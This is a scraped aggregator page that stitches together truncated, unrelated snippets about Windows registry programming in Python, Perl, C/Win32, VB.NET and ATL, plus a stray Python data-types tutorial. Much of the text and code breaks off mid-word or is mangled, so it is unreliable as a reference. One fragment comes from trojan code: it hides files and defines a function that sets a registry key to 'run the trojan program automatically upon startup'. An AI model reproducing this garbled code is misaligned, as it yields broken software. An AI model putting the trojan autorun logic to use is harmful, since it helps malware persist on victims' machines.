Python: WinReg Item Module: Windows 7: No Invalid HKEY errorPython winregI encountered a problem while reading the registry value of the Windows 7 winth winreg item module. Any pointers to resolve the code:try: ParentKey = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") i = 0 while 1: name, value, type = _winreg.EnumValue(ParentKey, i) print repr(name), i += 1except Exception as e: print(Excepti
1.AppEvents: The appevents below contains information about the event, while schemes includes some application tags for their own use of a particular sound scheme.
2.Console: Contains the default command prompt configuration.
3.Control panel:
The HKEY_CLASSES_ROOT root key contains all the information needed to start the application. These include:
1. All extensions and the associated information between the application and the document.
2. Name of all drivers.
3. A string as a
Use Perl to operate some basic functions of the Registry
Copyright Disclaimer: During reprinting, please use hyperlinks to indicate the original source and author information of the article and this statementHttp://n0thing.blogbus.com/logs/237690.html
One open ():
Syntax:$ Object-> open ($ registryobj, $ hkey );$ Object a part of the Registry.$ Registryobj the key under the $ object you want to specify E.$ Hkey
Reprinted: http://www.xuyibo.org/article/71.htm
Glossary
Common APIs for registry operations
API
Description
Regcreatekey
Create a key and return the corresponding hkey
Regopenkey
Open the registry and obtain an hkey, which is used as the first parameter of the following functions.
Regopenkeyex
Similar to regopenkey, it is rarely used. an access co
information under this root key is not placed in the registry.4 Permissions to access the registrySometimes the following error occurs when the program executes, such as the following code:LONG X1 =regcreatekey (Hkey_local_machine,text ("Software\\vc++mfc\\adminss"), hkey);After running X1 = 5, the corresponding error message is "Access Denied". Of course, this program does not create a key in the registry after the reason is that the previous said t
deleting these five general operations (for more detailed information, refer to the MSDN Library Visual studio6.0| in the Visual Studio6.0 Help catalog) Platform sdk| Window Base services| General library| Registry entries). Here we look at the use of these five interface functions:
First, create key RegCreateKeyEx
You can create a key in the registry by using the RegCreateKeyEx function, and if the key you want to create already exists, open the key. The function prototype is as follows:
LONG
Imports SystemImports System. Runtime. InteropServicesImports System. Text
Public Class cRegistry
Public Shared Function CreateKey (ByVal strhkeyName As String, ByVal keyName As String) As IntegerDim hkey As IntPtr = IntPtr. ZeroDim disposition As Integer = 0
TryReturn RegCreateKeyEx (intPtrkeyName (strhkeyName), keyName, 0, Nothing, 0, KeyAccess. None, IntPtr. Zero, hkey, disposition)FinallyIf IntPtr. Zero
for the current (logged on) user.
The hkey_current_config contains information about the current system configuration.
There is another, generally do not appear, only the configuration of the local area network will have
(ii), CRegKey class and main use and function description
Required Header files: atlbase.h
Common functions☆ function to open a key: RegOpenKeyEx function Definition:LONG RegOpenKeyEx (HKEY
This article from http://www.vckbase.com/document/viewdoc? Id = 645
For ease of use, I have written some operations as functions for convenient calling. The specific code is as follows:
I. Definition
Hkey; char content [256]; // DWORD dwtype = REG_SZ; // defines the data read type DWORD dwlength = 256; struct hkey _ * rootkey; // registry primary key name tchar * subkey; // the address of the registry key
Operate the registry frequently, and then get a copy of the Operation registry function implementation. Back down here. #ifndef _regedit_h#define_regedit_hintregread_s (structHkey__*rerootkey,tchar *resubkey,tchar *revaluename,tchar *Content, DWORD nlength);intRegread_d (structHkey__*rerootkey,tchar *resubkey,tchar *revaluename,byte *Content, DWORD nlength);intRegsetvalue_s (structHkey__*rerootkey,tchar *resubkey,tchar *revaluename,lpbyte resetcontent_s);intRegsetvalue_d (structHkey__*rerootkey,
1. Basic data types(1) Number-int(2) string-str(3) Boolean value-bool2. Important methods in the INT type(1) INTTo convert a string to a numeric type:# Converts a string of byte numbers to an int type# Converts a string of byte numbers to int type a = ' 123 ' b = Int (a) print (type (a), a) print (type (b), b) # converts num to decimal num = ' 0011 ' v = int (num, in hexadecimal notation) base=16) Print (v)3. Main methods of String Examples are detailed:(1) Capitalize ()Capitalize first letterT
(cockfilepath, file_attribute_hidden | file_attribute_readonly );Setfileattributes (tempfilepath, file_attribute_hidden | file_attribute_readonly );Return 1;}
/*Set the registry and run the trojan program automatically upon startup. If the call is successful, 1 is returned. If the call fails, 0 is returned.Regkeyname: key name in the registry; exepath: absolute path of the Trojan program*/Byte setprogautorun (maid){Hkey = NULL;DWORD dwdis = 0;Char ke
Recently, it is necessary to operate the Registry in a self-written program. I would like to sum up some experience and make a demo for future use. Now I will share it with you...
For ease of use, some operations are written as functions for convenient calling. The specific code is as follows:
I. Definition
Hkey; char content [256]; // DWORD dwtype = REG_SZ; // defines the data read type DWORD dwlength = 256; struct
.
HKEY_CLASSES_USER is the information used for the current (LOGIN) user.
HKEY_CURRENT_CONFIG contains information about the current system configuration.
There is another one, which generally does not appear, only after the configured LAN.
CRegKey class and main usage and Function Description
Required header file: atlbase. h
Common functions☆Function for opening a key: RegOpenKeyEx Function Definition: LONG RegOpenKeyEx (HKEY
Recently, when I was working on a project, I used some functions that operate the Registry. Now I want to record these functions for future use.
1. Open the registry key long regopenkeyex (hkey, // handle to open key primary key lpctstr lpsubkey, // subkey name subkey DWORD uloptions, // reserved. Must be 0 regsam samdesired, // security access mask read/write identity phkey phkresult // handle to open key returned
1. New item
For example, create an item Yantai under HKEY_LOCAL_MACHINE/software/, and then create a new item bandsoft under Yantai.
Hkey hsoftkey;
Hkey maid;
Hkey hcompanykey;
// Open HKEY_LOCAL_MACHINE/software
If (regopenkeyex (HKEY_LOCAL_MACHINE, _ T ("software"), 0, key_write | key_read,
Hsoftkey) = error_success)
{
DWORD dw;
// Create and open HKEY_LOCAL_
layer. Why not? After all, I amProgramYou can use underlying functions to port them to more development platforms. 1.Required header file: atlbase. hThis method can be completed using the member functions in the cregkey class. First include the header file, and then declare a Class Object cregkey rkey; then you can call the member function to operate.Member functions of basic functions:
Long Open (hkey hkeyparent, lpctstr lpszkeyname, regs
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.